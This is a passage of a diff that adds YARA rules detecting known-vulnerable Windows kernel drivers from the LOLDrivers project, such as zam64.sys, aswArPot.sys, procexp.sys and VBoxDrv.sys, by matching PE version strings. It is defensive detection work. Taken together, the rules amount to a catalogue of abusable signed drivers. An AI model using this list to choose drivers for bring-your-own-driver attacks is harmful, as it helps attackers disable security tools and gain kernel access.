+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_C082 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd"
+		date = "2023-06-14"
+		score = 40
+		id = "36d4d011-edf0-53e8-9665-b75520140df3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Creativetechnologyinnovationcoltd_Ctiiosys_Ctiiodriverversion_X_2121 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CtiIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109"
+		date = "2023-06-14"
+		score = 40
+		id = "3cc780a4-7b9c-516e-91a1-705f785922d2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430054004900200049004f0020006400720069007600650072 } /* FileDescription CTIIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043007200650061007400690076006500200054006500630068006e006f006c006f0067007900200049006e006e006f0076006100740069006f006e00200043006f002e002c0020004c00540064002e } /* CompanyName CreativeTechnologyInnovationCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 } /* InternalName CtiIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043007400690049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0030 } /* ProductName CtiIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 } /* OriginalFilename CtiIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004300540049 } /* LegalCopyright CopyrightcCTI */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Ssmartsoftwaresolutionsgmbh_Sysdrvs_Sysdrvs_0E53 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysDrv3S.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b"
+		date = "2023-06-14"
+		score = 40
+		id = "9ace902a-a3bf-56fa-8eb8-99a82c1adf0b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530079007300440072007600330053 } /* FileDescription SysDrvS */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00330053002d0053006d00610072007400200053006f00660074007700610072006500200053006f006c007500740069006f006e007300200047006d00620048 } /* CompanyName SSmartSoftwareSolutionsGmbH */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c0035002c0036002c0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0035002e0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530079007300440072007600330053 } /* InternalName SysDrvS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079007300440072007600330053 } /* ProductName SysDrvS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530079007300440072007600330053002e007300790073 } /* OriginalFilename SysDrvSsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300036002d0032003000310034 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_14AD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8"
+		date = "2023-06-14"
+		score = 40
+		id = "0501fc8b-cc72-5c03-97cf-411051119ccf"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_3871 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz_x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3"
+		date = "2023-06-14"
+		score = 40
+		id = "ddcb8217-640d-598d-9afd-a1c15d1bbb8c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_37C6 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
+		date = "2023-06-14"
+		score = 40
+		id = "f4b17a75-3160-5a73-afe6-531c41fae197"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_3143 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
+		date = "2023-06-14"
+		score = 40
+		id = "c0a7d14e-65aa-51e1-a2c1-88a7c56dce57"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e } /* FileDescription BIOSUpdateDriverForWindowsxEdition */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e } /* CompanyName TOSHIBACorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e0034002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 } /* InternalName NCHGBIOSxSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 } /* ProductName TOSHIBABIOSPackage */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 } /* OriginalFilename NCHGBIOSxSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003200200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCTOSHIBACorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_5439 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
+		hash = "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd"
+		date = "2023-06-14"
+		score = 40
+		id = "f35db7b6-8a4b-5c26-9e00-da5c1c7780e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320031002e00360033 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_30AB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb"
+		date = "2023-06-14"
+		score = 40
+		id = "cd4dd891-8d86-5afa-83ed-1ad0997608de"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300038 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_DE8F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "de8f8006d8ee429b5f333503defa54b25447f4ed6aeade5e4219e23f3473ef1c"
+		date = "2023-06-14"
+		score = 40
+		id = "245da08c-d629-53cb-83fb-476f4fdd1512"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003100300034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Supermicrocomputerinc_Phymem_Phymem_1963 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - phymem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1963d5a0e512b72353953aadbe694f73a9a576f0241a988378fa40bf574eda52"
+		date = "2023-06-14"
+		score = 40
+		id = "19673477-eb54-52d7-886e-ebf3216aa77b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007000680079006d0065006d0020004100700070006c00690063006100740069006f006e } /* FileDescription phymemApplication */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* CompanyName SuperMicroComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007000680079006d0065006d } /* InternalName phymem */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]007000680079006d0065006d } /* ProductName phymem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007000680079006d0065006d002e007300790073 } /* OriginalFilename phymemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280063002900200031003900390033002d00320030003100350020005300750070006500720020004d006900630072006f00200043006f006d00700075007400650072002c00200049006e0063002e } /* LegalCopyright CopyrightcSuperMicroComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_16A2 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "16a2e578bc8683f17a175480fea4f53c838cfae965f1d4caa47eaf9e0b3415c1"
+		hash = "98a123b314cba2de65f899cdbfa386532f178333389e0f0fbd544aff85be02eb"
+		date = "2023-06-14"
+		score = 40
+		id = "826ee893-06af-5dee-9436-ec3ea7ddd8d9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_CFB7 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cfb7af8ac67a379e7869289aeee21837c448ea6f8ab6c93988e7aa423653bd40"
+		date = "2023-06-14"
+		score = 40
+		id = "e80a43d2-d96f-5fed-a5e1-3e1ea617542a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e003100310039003200330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 } /* ProductName AntidetectPublic */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_C894 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c8940e2e9b069ec94f9f711150b313b437f8429f78d522810601b6ee8b52bada"
+		date = "2023-06-14"
+		score = 40
+		id = "b4cef531-b146-5c20-b429-a90beaad5712"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0034002e007200340037003900370038 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Pinduoduoltdcorp_Vboxdrv_Pinduoduosecurevdi_9DAB {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9dab4b6fddc8e1ec0a186aa8382b184a5d52cfcabaaf04ff9e3767021eb09cf4"
+		date = "2023-06-14"
+		score = 40
+		id = "44e2c561-b9f4-5840-9e0c-53ffee5a3bd1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500069006e00640075006f00640075006f0020004c0074006400200043006f00720070 } /* CompanyName PinduoduoLtdCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500069006e00640075006f00640075006f00200053006500630075007200650020005600440049 } /* ProductName PinduoduoSecureVDI */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d0032003000320031002000500069006e00640075006f00640075006f00200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCPinduoduoCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_18DE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506"
+		date = "2023-06-14"
+		score = 40
+		id = "c3b0b3b0-9281-5d90-bf26-6c4c46c4143b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 } /* OriginalFilename viragtsys */
